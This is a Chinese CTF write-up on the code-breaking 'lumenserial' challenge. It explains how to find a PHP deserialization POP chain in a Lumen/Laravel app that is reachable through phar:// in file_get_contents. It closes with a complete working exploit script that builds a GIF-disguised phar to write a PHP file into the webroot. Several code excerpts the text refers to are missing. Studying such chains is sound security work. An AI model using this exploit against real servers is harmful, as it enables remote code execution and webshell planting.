PHP反序列化入門之尋找POP鏈(一)
本文以 code-breaking 中 lumenserial 為例,練習PHP反序列化 POP鏈 的尋找,題目地址: https://code-breaking.com/puzzle/7/ 。
環境搭建
執行環境要求
- PHP >= 7.1.3
- OpenSSL PHP Extension
- PDO PHP Extension
- Mbstring PHP Extension
安裝題目環境
執行題目程式碼
更多請參考: https://laravel-china.org/docs/lumen/5.7/installation/2402
PS:更新P牛製作的docker環境 https://github.com/phith0n/code-breaking
漏洞點
在 routes/web.php 檔案中,定義了 web 程式的路由,當我們以 GET 或 POST 方法訪問 http://website/server/editor 的時候,程式就會呼叫 app/Http/Controllers/EditorController.php 類中的 main 方法。
我們進而看 app/Http/Controllers/EditorController.php 檔案,很快便會發現有一個 download 方法中的 $url 變數沒有經過任何處理用在了 file_get_contents 函式中, download 方法程式碼如下:
這時我們便考慮 $url 變數是否可控,如果可控,便可以利用 phar反序列化 。我們回溯尋找 $url 變數來源,會發現在 doCatchimage 方法中,該變數值是從 $sources 變數來。而 $sources 變數由使用者傳來的 source 引數決定(通過 http://website/server/editor/?action=Catchimage&source[]=phar://xxx.gif 即可控制 $url 變數),相關程式碼如下:
那麼接下來,我們就要尋找可利用的類方法,然後通過 phar反序列化 觸發漏洞。
瞭解PHPGGC
在尋找 pop鏈 之前,我們不妨先看看 phpggc 中已有的 4種 關於 Laravel 框架 RCE 的 payload 生成方法,以便我們更快速的找出本題的 pop鏈 ,其 4種 Laravel 框架 RCE 的 payload 生成方法分別如下:
第1種
其反序列化時,類方法呼叫過程如下:
第2種
其反序列化時,類方法呼叫過程如下:
第3種
其反序列化時,類方法呼叫過程如下:
第4種
其反序列化時,類方法呼叫過程如下:
這裡我選取 第1種 的 phar反序列化 執行結果圖(題目環境為 PHP7.1.16 ):
然而本題目的環境還有一些額外的限制,例如 PHP 版本為 7.2.14 ,且禁用瞭如下函式和類(這些資訊通過 phpggc 的第一個 Laravel 框架 RCE 生成 phpinfo 函式的利用 phar 即可看到):
disable_functions: system,shell_exec,passthru,exec,popen,proc_open,pcntl_exec,mail,apache_setenv,mb_send_mail,dl,set_time_limit,ignore_user_abort,symlink,link,error_log disable_classes: GlobIterator,DirectoryIterator,FilesystemIterator,RecursiveDirectoryIterator
由於在 PHP7.x 版本中,很多函式禁止動態呼叫了,加上上面的這些限制,所以我們還需要尋找其他利用點,結合上述 POP 鏈,完成寫 shell 。
開始尋找pop鏈
我們可以發現上面的4種 RCE 入口點都是從 PendingBroadcast 類的 __destruct 方法開始的,那麼我們著重搜尋 dispatch 方法和 __call 方法。經過一番搜尋,發現 ValidGenerator 類中的 __call 比較好利用。
我們可以看到其程式碼中先呼叫了 call_user_func_array 函式,然後將 call_user_func_array 函式的執行結果又傳入 call_user_func 函式,只要我們能控制住 call_user_func_array 函式的執行結果,相當於 call_user_func 函式的兩個引數都可控,這樣我們便可以呼叫任意類方法。
我們接著搜尋可以用於控制 call_user_func_array 函式執行結果的類,這裡我找到了 DefaultGenerator 類的 __call 方法,我們可以看到返回值 $this->default 完全可控。
現在 call_user_func($this->validator, $res) 中的兩個引數都可控了。那麼如果我們想寫shell,就要呼叫 file_put_contents 函式,而這個函式需要兩個引數,所以直接通過 call_user_func 函式是無法使用該函式的,我們需要通過 call_user_func_array 函式來使用 file_put_contents 函式,用法形如: call_user_func_array(‘file_put_contents’,array(‘shell.php’,’test’)) 。
通過直接搜尋 call_user_func_array 函式,我們會發現兩個比較好利用的類函式。但是這裡的第一個 ClosureWrapper 類我們無法利用,所以得利用 ReturnCallback 類的 invoke 方法,具體程式碼如下:
很明顯 invoke 方法兩個引數都可控,現在我們只要構造好一個 Invocation 類物件即可。通過搜尋,我們會發現 Invocation 是一個介面,那麼我們找到他的實現類即可。這裡我找到了 StaticInvocation 類來實現上訴功能,其程式碼具體如下:
這樣子,我們的整個 POP鏈 就構造好了。下面是 exp :
<?php namespace IlluminateBroadcasting{ class PendingBroadcast{ protected $events; protected $event; function __construct($events, $event){ $this->events = $events; $this->event = $event; } } }; namespace Faker{ class DefaultGenerator{ protected $default; public function __construct($default = null){ $this->default = $default; } } class ValidGenerator{ protected $generator; protected $validator; protected $maxRetries; // __call方法中有call_user_func_array、call_user_func public function __construct($generator, $validator = null, $maxRetries = 10000) { $this->generator = $generator; $this->validator = $validator; $this->maxRetries = $maxRetries; } } }; namespace PHPUnitFrameworkMockObjectStub{ class ReturnCallback { private $callback; public function __construct($callback) { $this->callback = $callback; } } }; namespace PHPUnitFrameworkMockObjectInvocation{ class StaticInvocation{ private $parameters; public function __construct($parameters){ $this->parameters = $parameters; } } }; namespace{ $function = 'file_put_contents'; $parameters = array('/var/www/html/11.php','<?php phpinfo();?>'); $staticinvocation = new PHPUnitFrameworkMockObjectInvocationStaticInvocation($parameters); $returncallback = new PHPUnitFrameworkMockObjectStubReturnCallback($function); $defaultgenerator = new FakerDefaultGenerator($staticinvocation); $validgenerator = new FakerValidGenerator($defaultgenerator,array($returncallback,'invoke'),2); $pendingbroadcast = new IlluminateBroadcastingPendingBroadcast($validgenerator,123); $o = $pendingbroadcast; $filename = 'poc.phar';// 字尾必須為phar,否則程式無法執行 file_exists($filename) ? unlink($filename) : null; $phar=new Phar($filename); $phar->startBuffering(); $phar->setStub("GIF89a<?php __HALT_COMPILER(); "); $phar->setMetadata($o); $phar->addFromString("foo.txt","bar"); $phar->stopBuffering(); }; ?>
最後
我們再通過下面這張圖片,來理清整個 POP鏈 的呼叫過程。